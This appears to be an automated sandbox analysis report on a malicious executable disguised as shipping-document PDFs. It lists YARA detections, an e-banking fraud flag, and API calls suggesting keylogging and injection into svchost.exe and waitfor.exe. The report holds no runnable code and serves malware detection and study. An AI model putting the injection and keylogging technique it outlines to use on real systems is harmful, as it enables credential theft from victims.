Code function: 0_2_00BB001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00BB001C

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BDCABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00BDCABC

E-Banking Fraud

Binary is likely a compiled AutoIt script file

Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.4473308327.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4473351797.0000000004910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4472444044.0000000002C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248280939.00000000004B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2249418016.0000000003D50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2248660468.0000000002970000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4473260603.0000000003AB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00B53B3A
Source: SHIPPING DOCUMENTS_PDF.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000002.2033924295.0000000000C04000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c0026a5a-2
Source: SHIPPING DOCUMENTS_PDF.exe, 00000000.00000002.2033924295.0000000000C04000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_12c0b761-6
Source: SHIPPING DOCUMENTS_PDF.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e70e6766-3
Source: SHIPPING DOCUMENTS_PDF.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_dbe23763-a

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SHIPPING DOCUMENTS_PDF.exe

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004DC583 NtClose,	2_2_004DC583
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072B60 NtClose,LdrInitializeThunk,	2_2_03072B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03072DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03072C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030735C0 NtCreateMutant,LdrInitializeThunk,	2_2_030735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03074340 NtSetContextThread,	2_2_03074340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03074650 NtSuspendThread,	2_2_03074650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072B80 NtQueryInformationFile,	2_2_03072B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BA0 NtEnumerateValueKey,	2_2_03072BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BE0 NtQueryValueKey,	2_2_03072BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072BF0 NtAllocateVirtualMemory,	2_2_03072BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AB0 NtWaitForSingleObject,	2_2_03072AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AD0 NtReadFile,	2_2_03072AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072AF0 NtWriteFile,	2_2_03072AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F30 NtCreateSection,	2_2_03072F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F60 NtCreateProcessEx,	2_2_03072F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072F90 NtProtectVirtualMemory,	2_2_03072F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FA0 NtQuerySection,	2_2_03072FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FB0 NtResumeThread,	2_2_03072FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072FE0 NtCreateFile,	2_2_03072FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072E30 NtWriteVirtualMemory,	2_2_03072E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072E80 NtReadVirtualMemory,	2_2_03072E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072EA0 NtAdjustPrivilegesToken,	2_2_03072EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072EE0 NtQueueApcThread,	2_2_03072EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D00 NtSetInformationFile,	2_2_03072D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D10 NtMapViewOfSection,	2_2_03072D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072D30 NtUnmapViewOfSection,	2_2_03072D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DB0 NtEnumerateKey,	2_2_03072DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072DD0 NtDelayExecution,	2_2_03072DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C00 NtQueryInformationProcess,	2_2_03072C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072C60 NtCreateKey,	2_2_03072C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CA0 NtQueryInformationToken,	2_2_03072CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CC0 NtQueryVirtualMemory,	2_2_03072CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072CF0 NtOpenProcess,	2_2_03072CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073010 NtOpenDirectoryObject,	2_2_03073010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073090 NtSetValueKey,	2_2_03073090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030739B0 NtGetContextThread,	2_2_030739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073D10 NtOpenProcessToken,	2_2_03073D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03073D70 NtOpenThread,	2_2_03073D70
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C94650 NtSuspendThread,LdrInitializeThunk,	5_2_04C94650
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C94340 NtSetContextThread,LdrInitializeThunk,	5_2_04C94340
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_04C92CA0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92C60 NtCreateKey,LdrInitializeThunk,	5_2_04C92C60
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_04C92C70
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92DD0 NtDelayExecution,LdrInitializeThunk,	5_2_04C92DD0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_04C92DF0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_04C92D10
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_04C92D30
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_04C92EE0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_04C92E80
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92FE0 NtCreateFile,LdrInitializeThunk,	5_2_04C92FE0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92FB0 NtResumeThread,LdrInitializeThunk,	5_2_04C92FB0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92F30 NtCreateSection,LdrInitializeThunk,	5_2_04C92F30
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92AD0 NtReadFile,LdrInitializeThunk,	5_2_04C92AD0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92AF0 NtWriteFile,LdrInitializeThunk,	5_2_04C92AF0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_04C92BE0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_04C92BF0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_04C92BA0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92B60 NtClose,LdrInitializeThunk,	5_2_04C92B60
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C935C0 NtCreateMutant,LdrInitializeThunk,	5_2_04C935C0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C939B0 NtGetContextThread,LdrInitializeThunk,	5_2_04C939B0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92CC0 NtQueryVirtualMemory,	5_2_04C92CC0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92CF0 NtOpenProcess,	5_2_04C92CF0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92C00 NtQueryInformationProcess,	5_2_04C92C00
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92DB0 NtEnumerateKey,	5_2_04C92DB0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92D00 NtSetInformationFile,	5_2_04C92D00
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92EA0 NtAdjustPrivilegesToken,	5_2_04C92EA0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92E30 NtWriteVirtualMemory,	5_2_04C92E30
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92F90 NtProtectVirtualMemory,	5_2_04C92F90
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92FA0 NtQuerySection,	5_2_04C92FA0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92F60 NtCreateProcessEx,	5_2_04C92F60
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92AB0 NtWaitForSingleObject,	5_2_04C92AB0
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C92B80 NtQueryInformationFile,	5_2_04C92B80
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C93090 NtSetValueKey,	5_2_04C93090
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C93010 NtOpenDirectoryObject,	5_2_04C93010
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C93D70 NtOpenThread,	5_2_04C93D70
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_04C93D10 NtOpenProcessToken,	5_2_04C93D10
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C88E00 NtCreateFile,	5_2_02C88E00
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C88F70 NtReadFile,	5_2_02C88F70
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C89260 NtAllocateVirtualMemory,	5_2_02C89260
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C89060 NtDeleteFile,	5_2_02C89060
Source: C:\Windows\SysWOW64\waitfor.exe	Code function: 5_2_02C89100 NtClose,	5_2_02C89100

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BBA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00BBA1EF

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BA8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00BA8310

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe

Code function: 0_2_00BB51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00BB51BD

Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B5E6A0	0_2_00B5E6A0
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B7D975	0_2_00B7D975
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B721C5	0_2_00B721C5
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B862D2	0_2_00B862D2
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BD03DA	0_2_00BD03DA
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B8242E	0_2_00B8242E
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B725FA	0_2_00B725FA
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B666E1	0_2_00B666E1
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BAE616	0_2_00BAE616
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B8878F	0_2_00B8878F
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BB8889	0_2_00BB8889
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B68808	0_2_00B68808
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BD0857	0_2_00BD0857
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B86844	0_2_00B86844
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B7CB21	0_2_00B7CB21
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B86DB6	0_2_00B86DB6
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B66F9E	0_2_00B66F9E
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B63030	0_2_00B63030
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B73187	0_2_00B73187
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B7F1D9	0_2_00B7F1D9
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B51287	0_2_00B51287
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B71484	0_2_00B71484
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B65520	0_2_00B65520
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B77696	0_2_00B77696
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B65760	0_2_00B65760
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B71978	0_2_00B71978
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B89AB5	0_2_00B89AB5
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B5FCE0	0_2_00B5FCE0
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B7BDA6	0_2_00B7BDA6
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B71D90	0_2_00B71D90
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00BD7DDB	0_2_00BD7DDB
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B63FE0	0_2_00B63FE0
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_00B5DF00	0_2_00B5DF00
Source: C:\Users\user\Desktop\SHIPPING DOCUMENTS_PDF.exe	Code function: 0_2_009B3620	0_2_009B3620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004C8503	2_2_004C8503
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B2810	2_2_004B2810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BE0F7	2_2_004BE0F7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BE103	2_2_004BE103
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B31D0	2_2_004B31D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B1240	2_2_004B1240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004DEBD3	2_2_004DEBD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B2C8A	2_2_004B2C8A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B2C90	2_2_004B2C90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B2490	2_2_004B2490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B1509	2_2_004B1509
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004B1510	2_2_004B1510
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BFDB3	2_2_004BFDB3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004C6713	2_2_004C6713
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BFFD3	2_2_004BFFD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BDFA9	2_2_004BDFA9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004BDFB3	2_2_004BDFB3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA352	2_2_030FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E3F0	2_2_0304E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031003E6	2_2_031003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0274	2_2_030E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C02C0	2_2_030C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030100	2_2_03030100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C8158	2_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F41A2	2_2_030F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031001AA	2_2_031001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F81CC	2_2_030F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064750	2_2_03064750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303C7C0	2_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305C6E0	2_2_0305C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03100591	2_2_03100591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E4420	2_2_030E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F2446	2_2_030F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EE4F6	2_2_030EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FAB40	2_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F6BD7	2_2_030F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310A9A6	2_2_0310A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304A840	2_2_0304A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03042840	2_2_03042840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030268B8	2_2_030268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E8F0	2_2_0306E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03082F28	2_2_03082F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060F30	2_2_03060F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E2F30	2_2_030E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4F40	2_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BEFA0	2_2_030BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032FC8	2_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304CFE0	2_2_0304CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FEE26	2_2_030FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040E59	2_2_03040E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052E90	2_2_03052E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FCE93	2_2_030FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FEEDB	2_2_030FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304AD00	2_2_0304AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DCD1F	2_2_030DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03058DBF	2_2_03058DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303ADE0	2_2_0303ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040C00	2_2_03040C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E0CB5	2_2_030E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030CF2	2_2_03030CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F132D	2_2_030F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302D34C	2_2_0302D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0308739A	2_2_0308739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030452A0	2_2_030452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305B2C0	2_2_0305B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E12ED	2_2_030E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307516C	2_2_0307516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302F172	2_2_0302F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0310B16B	2_2_0310B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304B1B0	2_2_0304B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EF0CC	2_2_030EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030470C0	2_2_030470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F70E9	2_2_030F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF0E0	2_2_030FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF7B0	2_2_030FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03085630	2_2_03085630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F16CC	2_2_030F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7571	2_2_030F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DD5B0	2_2_030DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031095C3	2_2_031095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FF43F	2_2_030FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03031460	2_2_03031460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFB76	2_2_030FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305FB80	2_2_0305FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B5BF0	2_2_030B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307DBF9	2_2_0307DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FFA49	2_2_030FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F7A46	2_2_030F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B3A6C	2_2_030B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DDAAC	2_2_030DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03085AA0	2_2_03085AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E1AA3	2_2_030E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EDAC6	2_2_030EDAC6
